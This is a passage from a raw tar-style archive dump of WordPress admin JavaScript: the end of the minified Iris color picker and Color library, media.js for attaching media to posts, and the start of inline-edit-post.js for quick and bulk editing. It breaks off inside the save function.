b=this;b.picker.find(".iris-palette-container").on("click.palette",".iris-palette",function(){b._color.fromCSS(a(this).data("color")),b.active="external",b._change()}).on("keydown.palette",".iris-palette",function(b){if(13!==b.keyCode&&32!==b.keyCode)return!0;b.stopPropagation(),a(this).trigger("click")})},_squareDrag:function(a,b){var c=this,d=c.options.controls,e=c._squareDimensions(),f=Math.round((e.h-b.position.top)/e.h*c._scale[d.vert]),g=c._scale[d.horiz]-Math.round((e.w-b.position.left)/e.w*c._scale[d.horiz]);c._color[d.horiz](g)[d.vert](f),c.active="square",c._change.apply(c,arguments)},_setOption:function(b,c){var d,e,f=this,g=f.options[b],h=!1;switch(f.options[b]=c,b){case"color":f.onlySlider?(c=parseInt(c,10),c=isNaN(c)||c<0||c>359?g:"hsl("+c+",100,50)",f.options.color=f.options[b]=c,f._color=new Color(c).setHSpace(f.options.mode),f.active="external",f._change()):(c=""+c,c.replace(/^#/,""),d=new Color(c).setHSpace(f.options.mode),d.error?f.options[b]=g:(f._color=d,f.options.color=f.options[b]=f._color.toString(),f.active="external",f._change()));break;case"palettes":h=!0,c?f._addPalettes():f.picker.find(".iris-palette-container").remove(),g||f._paletteListeners();break;case"width":h=!0;break;case"border":h=!0,e=c?"addClass":"removeClass",f.picker[e]("iris-border");break;case"mode":case"controls":if(g===c)return;return e=f.element,g=f.options,g.hide=!f.picker.is(":visible"),f.destroy(),f.picker.remove(),a(f.element).iris(g)}h&&f._dimensions(!0)},_squareDimensions:function(a){var c,d=this.controls.square;return a!==b&&d.data("dimensions")?d.data("dimensions"):(this.controls.squareDrag,c={w:d.width(),h:d.height()},d.data("dimensions",c),c)},_isNonHueControl:function(a,b){return"square"===a&&"h"===this.options.controls.strip||"external"!==b&&("h"!==b||"strip"!==a)},_change:function(){var b=this,c=b.controls,d=b._getHSpaceColor(),e=["square","strip"],f=b.options.controls,g=f[b.active]||"external",h=b.hue;"strip"===b.active?e=[]:"external"!==b.active&&e.pop(),a.each(e,function(a,e){var g,h,i;if(e!==b.active)switch(e){case"strip":g="h"!==f.strip||b.horizontalSlider?d[f.strip]:b._scale[f.strip]-d[f.strip],c.stripSlider.slider("value",g);break;case"square":h=b._squareDimensions(),i={left:d[f.horiz]/b._scale[f.horiz]*h.w,top:h.h-d[f.vert]/b._scale[f.vert]*h.h},b.controls.squareDrag.css(i)}}),d.h!==h&&b._isNonHueControl(b.active,g)&&b._color.h(h),b.hue=b._color.h(),b.options.color=b._color.toString(),b._inited&&b._trigger("change",{type:b.active},{color:b._color}),b.element.is(":input")&&!b._color.error&&(b.element.removeClass("iris-error"),b.onlySlider?b.element.val()!==b.hue&&b.element.val(b.hue):b.element.val()!==b._color.toString()&&b.element.val(b._color.toString())),b._paint(),b._inited=!0,b.active=!1},_debounce:function(a,b,c){var d,e;return function(){var f,g,h=this,i=arguments;return f=function(){d=null,c||(e=a.apply(h,i))},g=c&&!d,clearTimeout(d),d=setTimeout(f,b),g&&(e=a.apply(h,i)),e}},show:function(){this.picker.show()},hide:function(){this.picker.hide()},toggle:function(){this.picker.toggle()},color:function(a){return!0===a?this._color.clone():a===b?this._color.toString():void this.option("color",a)}},a.widget("a8c.iris",n),a('<style id="iris-css">'+m+"</style>").appendTo("head")}(jQuery),function(a,b){var c=function(a,b){return this instanceof c?this._init(a,b):new c(a,b)};c.fn=c.prototype={_color:0,_alpha:1,error:!1,_hsl:{h:0,s:0,l:0},_hsv:{h:0,s:0,v:0},_hSpace:"hsl",_init:function(a){var c="noop";switch(typeof a){case"object":return a.a!==b&&this.a(a.a),c=a.r!==b?"fromRgb":a.l!==b?"fromHsl":a.v!==b?"fromHsv":c,this[c](a);case"string":return this.fromCSS(a);case"number":return this.fromInt(parseInt(a,10))}return this},_error:function(){return this.error=!0,this},clone:function(){for(var a=new c(this.toInt()),b=["_alpha","_hSpace","_hsl","_hsv","error"],d=b.length-1;d>=0;d--)a[b[d]]=this[b[d]];return a},setHSpace:function(a){return this._hSpace="hsv"===a?a:"hsl",this},noop:function(){return this},fromCSS:function(a){var b,c=/^(rgb|hs(l|v))a?\(/;if(this.error=!1,a=a.replace(/^\s+/,"").replace(/\s+$/,"").replace(/;$/,""),a.match(c)&&a.match(/\)$/)){if(b=a.replace(/(\s|%)/g,"").replace(c,"").replace(/,?\);?$/,"").split(","),b.length<3)return this._error();if(4===b.length&&(this.a(parseFloat(b.pop())),this.error))return this;for(var d=b.length-1;d>=0;d--)if(b[d]=parseInt(b[d],10),isNaN(b[d]))return this._error();return a.match(/^rgb/)?this.fromRgb({r:b[0],g:b[1],b:b[2]}):a.match(/^hsv/)?this.fromHsv({h:b[0],s:b[1],v:b[2]}):this.fromHsl({h:b[0],s:b[1],l:b[2]})}return this.fromHex(a)},fromRgb:function(a,c){return"object"!=typeof a||a.r===b||a.g===b||a.b===b?this._error():(this.error=!1,this.fromInt(parseInt((a.r<<16)+(a.g<<8)+a.b,10),c))},fromHex:function(a){return a=a.replace(/^#/,"").replace(/^0x/,""),3===a.length&&(a=a[0]+a[0]+a[1]+a[1]+a[2]+a[2]),this.error=!/^[0-9A-F]{6}$/i.test(a),this.fromInt(parseInt(a,16))},fromHsl:function(a){var c,d,e,f,g,h,i,j;return"object"!=typeof a||a.h===b||a.s===b||a.l===b?this._error():(this._hsl=a,this._hSpace="hsl",h=a.h/360,i=a.s/100,j=a.l/100,0===i?c=d=e=j:(f=j<.5?j*(1+i):j+i-j*i,g=2*j-f,c=this.hue2rgb(g,f,h+1/3),d=this.hue2rgb(g,f,h),e=this.hue2rgb(g,f,h-1/3)),this.fromRgb({r:255*c,g:255*d,b:255*e},!0))},fromHsv:function(a){var c,d,e,f,g,h,i,j,k,l,m;if("object"!=typeof a||a.h===b||a.s===b||a.v===b)return this._error();switch(this._hsv=a,this._hSpace="hsv",c=a.h/360,d=a.s/100,e=a.v/100,i=Math.floor(6*c),j=6*c-i,k=e*(1-d),l=e*(1-j*d),m=e*(1-(1-j)*d),i%6){case 0:f=e,g=m,h=k;break;case 1:f=l,g=e,h=k;break;case 2:f=k,g=e,h=m;break;case 3:f=k,g=l,h=e;break;case 4:f=m,g=k,h=e;break;case 5:f=e,g=k,h=l}return this.fromRgb({r:255*f,g:255*g,b:255*h},!0)},fromInt:function(a,c){return this._color=parseInt(a,10),isNaN(this._color)&&(this._color=0),this._color>16777215?this._color=16777215:this._color<0&&(this._color=0),c===b&&(this._hsv.h=this._hsv.s=this._hsl.h=this._hsl.s=0),this},hue2rgb:function(a,b,c){return c<0&&(c+=1),c>1&&(c-=1),c<1/6?a+6*(b-a)*c:c<.5?b:c<2/3?a+(b-a)*(2/3-c)*6:a},toString:function(){var a=parseInt(this._color,10).toString(16);if(this.error)return"";if(a.length<6)for(var b=6-a.length-1;b>=0;b--)a="0"+a;return"#"+a},toCSS:function(a,b){switch(a=a||"hex",b=parseFloat(b||this._alpha),a){case"rgb":case"rgba":var c=this.toRgb();return b<1?"rgba( "+c.r+", "+c.g+", "+c.b+", "+b+" )":"rgb( "+c.r+", "+c.g+", "+c.b+" )";case"hsl":case"hsla":var d=this.toHsl();return b<1?"hsla( "+d.h+", "+d.s+"%, "+d.l+"%, "+b+" )":"hsl( "+d.h+", "+d.s+"%, "+d.l+"% )";default:return this.toString()}},toRgb:function(){return{r:255&this._color>>16,g:255&this._color>>8,b:255&this._color}},toHsl:function(){var a,b,c=this.toRgb(),d=c.r/255,e=c.g/255,f=c.b/255,g=Math.max(d,e,f),h=Math.min(d,e,f),i=(g+h)/2;if(g===h)a=b=0;else{var j=g-h;switch(b=i>.5?j/(2-g-h):j/(g+h),g){case d:a=(e-f)/j+(e<f?6:0);break;case e:a=(f-d)/j+2;break;case f:a=(d-e)/j+4}a/=6}return a=Math.round(360*a),0===a&&this._hsl.h!==a&&(a=this._hsl.h),b=Math.round(100*b),0===b&&this._hsl.s&&(b=this._hsl.s),{h:a,s:b,l:Math.round(100*i)}},toHsv:function(){var a,b,c=this.toRgb(),d=c.r/255,e=c.g/255,f=c.b/255,g=Math.max(d,e,f),h=Math.min(d,e,f),i=g,j=g-h;if(b=0===g?0:j/g,g===h)a=b=0;else{switch(g){case d:a=(e-f)/j+(e<f?6:0);break;case e:a=(f-d)/j+2;break;case f:a=(d-e)/j+4}a/=6}return a=Math.round(360*a),0===a&&this._hsv.h!==a&&(a=this._hsv.h),b=Math.round(100*b),0===b&&this._hsv.s&&(b=this._hsv.s),{h:a,s:b,v:Math.round(100*i)}},toInt:function(){return this._color},toIEOctoHex:function(){var a=this.toString(),b=parseInt(255*this._alpha,10).toString(16);return 1===b.length&&(b="0"+b),"#"+b+a.replace(/^#/,"")},toLuminosity:function(){var a=this.toRgb(),b={};for(var c in a)if(a.hasOwnProperty(c)){var d=a[c]/255;b[c]=d<=.03928?d/12.92:Math.pow((d+.055)/1.055,2.4)}return.2126*b.r+.7152*b.g+.0722*b.b},getDistanceLuminosityFrom:function(a){if(!(a instanceof c))throw"getDistanceLuminosityFrom requires a Color object";var b=this.toLuminosity(),d=a.toLuminosity();return b>d?(b+.05)/(d+.05):(d+.05)/(b+.05)},getMaxContrastColor:function(){var a=this.getDistanceLuminosityFrom(new c("#000")),b=this.getDistanceLuminosityFrom(new c("#fff"));return new c(a>=b?"#000":"#fff")},getReadableContrastingColor:function(a,d){if(!(a instanceof c))return this;var e,f,g=d===b?5:d,h=a.getDistanceLuminosityFrom(this);if(h>=g)return this;if(e=a.getMaxContrastColor(),e.getDistanceLuminosityFrom(a)<=g)return e;for(f=0===e.toInt()?-1:1;h<g&&(this.l(f,!0),h=this.getDistanceLuminosityFrom(a),0!==this._color&&16777215!==this._color););return this},a:function(a){if(a===b)return this._alpha;var c=parseFloat(a);return isNaN(c)?this._error():(this._alpha=c,this)},darken:function(a){return a=a||5,this.l(-a,!0)},lighten:function(a){return a=a||5,this.l(a,!0)},saturate:function(a){return a=a||15,this.s(a,!0)},desaturate:function(a){return a=a||15,this.s(-a,!0)},toGrayscale:function(){return this.setHSpace("hsl").s(0)},getComplement:function(){return this.h(180,!0)},getSplitComplement:function(a){a=a||1;var b=180+30*a;return this.h(b,!0)},getAnalog:function(a){a=a||1;var b=30*a;return this.h(b,!0)},getTetrad:function(a){a=a||1;var b=60*a;return this.h(b,!0)},getTriad:function(a){a=a||1;var b=120*a;return this.h(b,!0)},_partial:function(a){var c=d[a];return function(d,e){var f=this._spaceFunc("to",c.space);return d===b?f[a]:(!0===e&&(d=f[a]+d),c.mod&&(d%=c.mod),c.range&&(d=d<c.range[0]?c.range[0]:d>c.range[1]?c.range[1]:d),f[a]=d,this._spaceFunc("from",c.space,f))}},_spaceFunc:function(a,b,c){var d=b||this._hSpace;return this[a+d.charAt(0).toUpperCase()+d.substr(1)](c)}};var d={h:{mod:360},s:{range:[0,100]},l:{space:"hsl",range:[0,100]},v:{space:"hsv",range:[0,100]},r:{space:"rgb",range:[0,255]},g:{space:"rgb",range:[0,255]},b:{space:"rgb",range:[0,255]}};for(var e in d)d.hasOwnProperty(e)&&(c.fn[e]=c.fn._partial(e));"object"==typeof exports?module.exports=c:a.Color=c}(this);media.js.tar000064400000020000150276633110006742 0ustar00home/natitnen/crestassured.com/wp-admin/js/media.js000064400000014617150264674730016374 0ustar00/**
 * Creates a dialog containing posts that can have a particular media attached
 * to it.
 *
 * @since 2.7.0
 * @output wp-admin/js/media.js
 *
 * @namespace findPosts
 *
 * @requires jQuery
 */

/* global ajaxurl, _wpMediaGridSettings, showNotice, findPosts, ClipboardJS */

( function( $ ){
	window.findPosts = {
		/**
		 * Opens a dialog to attach media to a post.
		 *
		 * Adds an overlay prior to retrieving a list of posts to attach the media to.
		 *
		 * @since 2.7.0
		 *
		 * @memberOf findPosts
		 *
		 * @param {string} af_name The name of the affected element.
		 * @param {string} af_val The value of the affected post element.
		 *
		 * @return {boolean} Always returns false.
		 */
		open: function( af_name, af_val ) {
			var overlay = $( '.ui-find-overlay' );

			if ( overlay.length === 0 ) {
				$( 'body' ).append( '<div class="ui-find-overlay"></div>' );
				findPosts.overlay();
			}

			overlay.show();

			if ( af_name && af_val ) {
				// #affected is a hidden input field in the dialog that keeps track of which media should be attached.
				$( '#affected' ).attr( 'name', af_name ).val( af_val );
			}

			$( '#find-posts' ).show();

			// Close the dialog when the escape key is pressed.
			$('#find-posts-input').trigger( 'focus' ).on( 'keyup', function( event ){
				if ( event.which == 27 ) {
					findPosts.close();
				}
			});

			// Retrieves a list of applicable posts for media attachment and shows them.
			findPosts.send();

			return false;
		},

		/**
		 * Clears the found posts lists before hiding the attach media dialog.
		 *
		 * @since 2.7.0
		 *
		 * @memberOf findPosts
		 *
		 * @return {void}
		 */
		close: function() {
			$('#find-posts-response').empty();
			$('#find-posts').hide();
			$( '.ui-find-overlay' ).hide();
		},

		/**
		 * Binds a click event listener to the overlay which closes the attach media
		 * dialog.
		 *
		 * @since 3.5.0
		 *
		 * @memberOf findPosts
		 *
		 * @return {void}
		 */
		overlay: function() {
			$( '.ui-find-overlay' ).on( 'click', function () {
				findPosts.close();
			});
		},

		/**
		 * Retrieves and displays posts based on the search term.
		 *
		 * Sends a post request to the admin_ajax.php, requesting posts based on the
		 * search term provided by the user. Defaults to all posts if no search term is
		 * provided.
		 *
		 * @since 2.7.0
		 *
		 * @memberOf findPosts
		 *
		 * @return {void}
		 */
		send: function() {
			var post = {
					ps: $( '#find-posts-input' ).val(),
					action: 'find_posts',
					_ajax_nonce: $('#_ajax_nonce').val()
				},
				spinner = $( '.find-box-search .spinner' );

			spinner.addClass( 'is-active' );

			/**
			 * Send a POST request to admin_ajax.php, hide the spinner and replace the list
			 * of posts with the response data. If an error occurs, display it.
			 */
			$.ajax( ajaxurl, {
				type: 'POST',
				data: post,
				dataType: 'json'
			}).always( function() {
				spinner.removeClass( 'is-active' );
			}).done( function( x ) {
				if ( ! x.success ) {
					$( '#find-posts-response' ).text( wp.i18n.__( 'An error has occurred. Please reload the page and try again.' ) );
				}

				$( '#find-posts-response' ).html( x.data );
			}).fail( function() {
				$( '#find-posts-response' ).text( wp.i18n.__( 'An error has occurred. Please reload the page and try again.' ) );
			});
		}
	};

	/**
	 * Initializes the file once the DOM is fully loaded and attaches events to the
	 * various form elements.
	 *
	 * @return {void}
	 */
	$( function() {
		var settings,
			$mediaGridWrap             = $( '#wp-media-grid' ),
			copyAttachmentURLClipboard = new ClipboardJS( '.copy-attachment-url.media-library' ),
			copyAttachmentURLSuccessTimeout;

		// Opens a manage media frame into the grid.
		if ( $mediaGridWrap.length && window.wp && window.wp.media ) {
			settings = _wpMediaGridSettings;

			var frame = window.wp.media({
				frame: 'manage',
				container: $mediaGridWrap,
				library: settings.queryVars
			}).open();

			// Fire a global ready event.
			$mediaGridWrap.trigger( 'wp-media-grid-ready', frame );
		}

		// Prevents form submission if no post has been selected.
		$( '#find-posts-submit' ).on( 'click', function( event ) {
			if ( ! $( '#find-posts-response input[type="radio"]:checked' ).length )
				event.preventDefault();
		});

		// Submits the search query when hitting the enter key in the search input.
		$( '#find-posts .find-box-search :input' ).on( 'keypress', function( event ) {
			if ( 13 == event.which ) {
				findPosts.send();
				return false;
			}
		});

		// Binds the click event to the search button.
		$( '#find-posts-search' ).on( 'click', findPosts.send );

		// Binds the close dialog click event.
		$( '#find-posts-close' ).on( 'click', findPosts.close );

		// Binds the bulk action events to the submit buttons.
		$( '#doaction' ).on( 'click', function( event ) {

			/*
			 * Handle the bulk action based on its value.
			 */
			$( 'select[name="action"]' ).each( function() {
				var optionValue = $( this ).val();

				if ( 'attach' === optionValue ) {
					event.preventDefault();
					findPosts.open();
				} else if ( 'delete' === optionValue ) {
					if ( ! showNotice.warn() ) {
						event.preventDefault();
					}
				}
			});
		});

		/**
		 * Enables clicking on the entire table row.
		 *
		 * @return {void}
		 */
		$( '.find-box-inside' ).on( 'click', 'tr', function() {
			$( this ).find( '.found-radio input' ).prop( 'checked', true );
		});

		/**
		 * Handles media list copy media URL button.
		 *
		 * @since 6.0.0
		 *
		 * @param {MouseEvent} event A click event.
		 * @return {void}
		 */
		copyAttachmentURLClipboard.on( 'success', function( event ) {
			var triggerElement = $( event.trigger ),
				successElement = $( '.success', triggerElement.closest( '.copy-to-clipboard-container' ) );

			// Clear the selection and move focus back to the trigger.
			event.clearSelection();
			// Handle ClipboardJS focus bug, see https://github.com/zenorocha/clipboard.js/issues/680.
			triggerElement.trigger( 'focus' );

			// Show success visual feedback.
			clearTimeout( copyAttachmentURLSuccessTimeout );
			successElement.removeClass( 'hidden' );

			// Hide success visual feedback after 3 seconds since last success and unfocus the trigger.
			copyAttachmentURLSuccessTimeout = setTimeout( function() {
				successElement.addClass( 'hidden' );
			}, 3000 );

			// Handle success audible feedback.
			wp.a11y.speak( wp.i18n.__( 'The file URL has been copied to your clipboard' ) );
		} );
	});
})( jQuery );
inline-edit-post.js000064400000043402150276633110010275 0ustar00/**
 * This file contains the functions needed for the inline editing of posts.
 *
 * @since 2.7.0
 * @output wp-admin/js/inline-edit-post.js
 */

/* global ajaxurl, typenow, inlineEditPost */

window.wp = window.wp || {};

/**
 * Manages the quick edit and bulk edit windows for editing posts or pages.
 *
 * @namespace inlineEditPost
 *
 * @since 2.7.0
 *
 * @type {Object}
 *
 * @property {string} type The type of inline editor.
 * @property {string} what The prefix before the post ID.
 *
 */
( function( $, wp ) {

	window.inlineEditPost = {

	/**
	 * Initializes the inline and bulk post editor.
	 *
	 * Binds event handlers to the Escape key to close the inline editor
	 * and to the save and close buttons. Changes DOM to be ready for inline
	 * editing. Adds event handler to bulk edit.
	 *
	 * @since 2.7.0
	 *
	 * @memberof inlineEditPost
	 *
	 * @return {void}
	 */
	init : function(){
		var t = this, qeRow = $('#inline-edit'), bulkRow = $('#bulk-edit');

		t.type = $('table.widefat').hasClass('pages') ? 'page' : 'post';
		// Post ID prefix.
		t.what = '#post-';

		/**
		 * Binds the Escape key to revert the changes and close the quick editor.
		 *
		 * @return {boolean} The result of revert.
		 */
		qeRow.on( 'keyup', function(e){
			// Revert changes if Escape key is pressed.
			if ( e.which === 27 ) {
				return inlineEditPost.revert();
			}
		});

		/**
		 * Binds the Escape key to revert the changes and close the bulk editor.
		 *
		 * @return {boolean} The result of revert.
		 */
		bulkRow.on( 'keyup', function(e){
			// Revert changes if Escape key is pressed.
			if ( e.which === 27 ) {
				return inlineEditPost.revert();
			}
		});

		/**
		 * Reverts changes and close the quick editor if the cancel button is clicked.
		 *
		 * @return {boolean} The result of revert.
		 */
		$( '.cancel', qeRow ).on( 'click', function() {
			return inlineEditPost.revert();
		});

		/**
		 * Saves changes in the quick editor if the save(named: update) button is clicked.
		 *
		 * @return {boolean} The result of save.
		 */
		$( '.save', qeRow ).on( 'click', function() {
			return inlineEditPost.save(this);
		});

		/**
		 * If Enter is pressed, and the target is not the cancel button, save the post.
		 *
		 * @return {boolean} The result of save.
		 */
		$('td', qeRow).on( 'keydown', function(e){
			if ( e.which === 13 && ! $( e.target ).hasClass( 'cancel' ) ) {
				return inlineEditPost.save(this);
			}
		});

		/**
		 * Reverts changes and close the bulk editor if the cancel button is clicked.
		 *
		 * @return {boolean} The result of revert.
		 */
		$( '.cancel', bulkRow ).on( 'click', function() {
			return inlineEditPost.revert();
		});

		/**
		 * Disables the password input field when the private post checkbox is checked.
		 */
		$('#inline-edit .inline-edit-private input[value="private"]').on( 'click', function(){
			var pw = $('input.inline-edit-password-input');
			if ( $(this).prop('checked') ) {
				pw.val('').prop('disabled', true);
			} else {
				pw.prop('disabled', false);
			}
		});

		/**
		 * Binds click event to the .editinline button which opens the quick editor.
		 */
		$( '#the-list' ).on( 'click', '.editinline', function() {
			$( this ).attr( 'aria-expanded', 'true' );
			inlineEditPost.edit( this );
		});

		$('#bulk-edit').find('fieldset:first').after(
			$('#inline-edit fieldset.inline-edit-categories').clone()
		).siblings( 'fieldset:last' ).prepend(
			$( '#inline-edit .inline-edit-tags-wrap' ).clone()
		);

		$('select[name="_status"] option[value="future"]', bulkRow).remove();

		/**
		 * Adds onclick events to the apply buttons.
		 */
		$('#doaction').on( 'click', function(e){
			var n;

			t.whichBulkButtonId = $( this ).attr( 'id' );
			n = t.whichBulkButtonId.substr( 2 );

			if ( 'edit' === $( 'select[name="' + n + '"]' ).val() ) {
				e.preventDefault();
				t.setBulk();
			} else if ( $('form#posts-filter tr.inline-editor').length > 0 ) {
				t.revert();
			}
		});
	},

	/**
	 * Toggles the quick edit window, hiding it when it's active and showing it when
	 * inactive.
	 *
	 * @since 2.7.0
	 *
	 * @memberof inlineEditPost
	 *
	 * @param {Object} el Element within a post table row.
	 */
	toggle : function(el){
		var t = this;
		$( t.what + t.getId( el ) ).css( 'display' ) === 'none' ? t.revert() : t.edit( el );
	},

	/**
	 * Creates the bulk editor row to edit multiple posts at once.
	 *
	 * @since 2.7.0
	 *
	 * @memberof inlineEditPost
	 */
	setBulk : function(){
		var te = '', type = this.type, c = true;
		this.revert();

		$( '#bulk-edit td' ).attr( 'colspan', $( 'th:visible, td:visible', '.widefat:first thead' ).length );

		// Insert the editor at the top of the table with an empty row above to maintain zebra striping.
		$('table.widefat tbody').prepend( $('#bulk-edit') ).prepend('<tr class="hidden"></tr>');
		$('#bulk-edit').addClass('inline-editor').show();

		/**
		 * Create a HTML div with the title and a link(delete-icon) for each selected
		 * post.
		 *
		 * Get the selected posts based on the checked checkboxes in the post table.
		 */
		$( 'tbody th.check-column input[type="checkbox"]' ).each( function() {

			// If the checkbox for a post is selected, add the post to the edit list.
			if ( $(this).prop('checked') ) {
				c = false;
				var id = $( this ).val(),
					theTitle = $( '#inline_' + id + ' .post_title' ).html() || wp.i18n.__( '(no title)' ),
					buttonVisuallyHiddenText = wp.i18n.sprintf(
						/* translators: %s: Post title. */
						wp.i18n.__( 'Remove &#8220;%s&#8221; from Bulk Edit' ),
						theTitle
					);

				te += '<li class="ntdelitem"><button type="button" id="_' + id + '" class="button-link ntdelbutton"><span class="screen-reader-text">' + buttonVisuallyHiddenText + '</span></button><span class="ntdeltitle" aria-hidden="true">' + theTitle + '</span></li>';
			}
		});

		// If no checkboxes where checked, just hide the quick/bulk edit rows.
		if ( c ) {
			return this.revert();
		}

		// Populate the list of items to bulk edit.
		$( '#bulk-titles' ).html( '<ul id="bulk-titles-list" role="list">' + te + '</ul>' );

		/**
		 * Binds on click events to handle the list of items to bulk edit.
		 *
		 * @listens click
		 */
		$( '#bulk-titles .ntdelbutton' ).click( function() {
			var $this = $( this ),
				id = $this.attr( 'id' ).substr( 1 ),
				$prev = $this.parent().prev().children( '.ntdelbutton' ),
				$next = $this.parent().next().children( '.ntdelbutton' );

			$( 'table.widefat input[value="' + id + '"]' ).prop( 'checked', false );
			$( '#_' + id ).parent().remove();
			wp.a11y.speak( wp.i18n.__( 'Item removed.' ), 'assertive' );

			// Move focus to a proper place when items are removed.
			if ( $next.length ) {
				$next.focus();
			} else if ( $prev.length ) {
				$prev.focus();
			} else {
				$( '#bulk-titles-list' ).remove();
				inlineEditPost.revert();
				wp.a11y.speak( wp.i18n.__( 'All selected items have been removed. Select new items to use Bulk Actions.' ) );
			}
		});

		// Enable auto-complete for tags when editing posts.
		if ( 'post' === type ) {
			$( 'tr.inline-editor textarea[data-wp-taxonomy]' ).each( function ( i, element ) {
				/*
				 * While Quick Edit clones the form each time, Bulk Edit always re-uses
				 * the same form. Let's check if an autocomplete instance already exists.
				 */
				if ( $( element ).autocomplete( 'instance' ) ) {
					// jQuery equivalent of `continue` within an `each()` loop.
					return;
				}

				$( element ).wpTagsSuggest();
			} );
		}

		// Set initial focus on the Bulk Edit region.
		$( '#bulk-edit .inline-edit-wrapper' ).attr( 'tabindex', '-1' ).focus();
		// Scrolls to the top of the table where the editor is rendered.
		$('html, body').animate( { scrollTop: 0 }, 'fast' );
	},

	/**
	 * Creates a quick edit window for the post that has been clicked.
	 *
	 * @since 2.7.0
	 *
	 * @memberof inlineEditPost
	 *
	 * @param {number|Object} id The ID of the clicked post or an element within a post
	 *                           table row.
	 * @return {boolean} Always returns false at the end of execution.
	 */
	edit : function(id) {
		var t = this, fields, editRow, rowData, status, pageOpt, pageLevel, nextPage, pageLoop = true, nextLevel, f, val, pw;
		t.revert();

		if ( typeof(id) === 'object' ) {
			id = t.getId(id);
		}

		fields = ['post_title', 'post_name', 'post_author', '_status', 'jj', 'mm', 'aa', 'hh', 'mn', 'ss', 'post_password', 'post_format', 'menu_order', 'page_template'];
		if ( t.type === 'page' ) {
			fields.push('post_parent');
		}

		// Add the new edit row with an extra blank row underneath to maintain zebra striping.
		editRow = $('#inline-edit').clone(true);
		$( 'td', editRow ).attr( 'colspan', $( 'th:visible, td:visible', '.widefat:first thead' ).length );

		// Remove the ID from the copied row and let the `for` attribute reference the hidden ID.
		$( 'td', editRow ).find('#quick-edit-legend').removeAttr('id');
		$( 'td', editRow ).find('p[id^="quick-edit-"]').removeAttr('id');

		$(t.what+id).removeClass('is-expanded').hide().after(editRow).after('<tr class="hidden"></tr>');

		// Populate fields in the quick edit window.
		rowData = $('#inline_'+id);
		if ( !$(':input[name="post_author"] option[value="' + $('.post_author', rowData).text() + '"]', editRow).val() ) {

			// The post author no longer has edit capabilities, so we need to add them to the list of authors.
			$(':input[name="post_author"]', editRow).prepend('<option value="' + $('.post_author', rowData).text() + '">' + $('#post-' + id + ' .author').text() + '</option>');
		}
		if ( $( ':input[name="post_author"] option', editRow ).length === 1 ) {
			$('label.inline-edit-author', editRow).hide();
		}

		for ( f = 0; f < fields.length; f++ ) {
			val = $('.'+fields[f], rowData);

			/**
			 * Replaces the image for a Twemoji(Twitter emoji) with it's alternate text.
			 *
			 * @return {string} Alternate text from the image.
			 */
			val.find( 'img' ).replaceWith( function() { return this.alt; } );
			val = val.text();
			$(':input[name="' + fields[f] + '"]', editRow).val( val );
		}

		if ( $( '.comment_status', rowData ).text() === 'open' ) {
			$( 'input[name="comment_status"]', editRow ).prop( 'checked', true );
		}
		if ( $( '.ping_status', rowData ).text() === 'open' ) {
			$( 'input[name="ping_status"]', editRow ).prop( 'checked', true );
		}
		if ( $( '.sticky', rowData ).text() === 'sticky' ) {
			$( 'input[name="sticky"]', editRow ).prop( 'checked', true );
		}

		/**
		 * Creates the select boxes for the categories.
		 */
		$('.post_category', rowData).each(function(){
			var taxname,
				term_ids = $(this).text();

			if ( term_ids ) {
				taxname = $(this).attr('id').replace('_'+id, '');
				$('ul.'+taxname+'-checklist :checkbox', editRow).val(term_ids.split(','));
			}
		});

		/**
		 * Gets all the taxonomies for live auto-fill suggestions when typing the name
		 * of a tag.
		 */
		$('.tags_input', rowData).each(function(){
			var terms = $(this),
				taxname = $(this).attr('id').replace('_' + id, ''),
				textarea = $('textarea.tax_input_' + taxname, editRow),
				comma = wp.i18n._x( ',', 'tag delimiter' ).trim();

			// Ensure the textarea exists.
			if ( ! textarea.length ) {
				return;
			}

			terms.find( 'img' ).replaceWith( function() { return this.alt; } );
			terms = terms.text();

			if ( terms ) {
				if ( ',' !== comma ) {
					terms = terms.replace(/,/g, comma);
				}
				textarea.val(terms);
			}

			textarea.wpTagsSuggest();
		});

		// Handle the post status.
		var post_date_string = $(':input[name="aa"]').val() + '-' + $(':input[name="mm"]').val() + '-' + $(':input[name="jj"]').val();
		post_date_string += ' ' + $(':input[name="hh"]').val() + ':' + $(':input[name="mn"]').val() + ':' + $(':input[name="ss"]').val();
		var post_date = new Date( post_date_string );
		status = $('._status', rowData).text();
		if ( 'future' !== status && Date.now() > post_date ) {
			$('select[name="_status"] option[value="future"]', editRow).remove();
		} else {
			$('select[name="_status"] option[value="publish"]', editRow).remove();
		}

		pw = $( '.inline-edit-password-input' ).prop( 'disabled', false );
		if ( 'private' === status ) {
			$('input[name="keep_private"]', editRow).prop('checked', true);
			pw.val( '' ).prop( 'disabled', true );
		}

		// Remove the current page and children from the parent dropdown.
		pageOpt = $('select[name="post_parent"] option[value="' + id + '"]', editRow);
		if ( pageOpt.length > 0 ) {
			pageLevel = pageOpt[0].className.split('-')[1];
			nextPage = pageOpt;
			while ( pageLoop ) {
				nextPage = nextPage.next('option');
				if ( nextPage.length === 0 ) {
					break;
				}

				nextLevel = nextPage[0].className.split('-')[1];

				if ( nextLevel <= pageLevel ) {
					pageLoop = false;
				} else {
					nextPage.remove();
					nextPage = pageOpt;
				}
			}
			pageOpt.remove();
		}

		$(editRow).attr('id', 'edit-'+id).addClass('inline-editor').show();
		$('.ptitle', editRow).trigger( 'focus' );

		return false;
	},

	/**
	 * Saves the changes made in the quick edit window to the post.
	 * Ajax saving is only for Quick Edit and not for bulk edit.
	 *
	 * @since 2.7.0
	 *
	 * @param {number} id The ID for the post that has been changed.
	 * @return {boolean} False, so the form does not submit when pressing
	 *                   Enter on a focused field.
	 */
	save : function(id) {
		var params, fields, page = $('.post_status_page').val() || '';

		if ( typeof(id) === 'object' ) {
			id = this.getId(id);
		}

		$( 'table.widefat .spinner' ).addClass( 'is-active' );

		params = {
			action: 'inline-save',
			post_type: typenow,
			post_ID: id,
			edit_date: 'true',
			post_status: page
		};

		fields = $('#edit-'+id).find(':input').serialize();
		params = fields + '&' + $.param(params);

		// Make Ajax request.
		$.post( ajaxurl, params,
			function(r) {
				var $errorNotice = $( '#edit-' + id + ' .inline-edit-save .notice-error' ),
					$error = $errorNotice.find( '.error' );

				$( 'table.widefat .spinner' ).removeClass( 'is-active' );

				if (r) {
					if ( -1 !== r.indexOf( '<tr' ) ) {
						$(inlineEditPost.what+id).siblings('tr.hidden').addBack().remove();
						$('#edit-'+id).before(r).remove();
						$( inlineEditPost.what + id ).hide().fadeIn( 400, function() {
							// Move focus back to the Quick Edit button. $( this ) is the row being animated.
							$( this ).find( '.editinline' )
								.attr( 'aria-expanded', 'false' )
								.trigger( 'focus' );
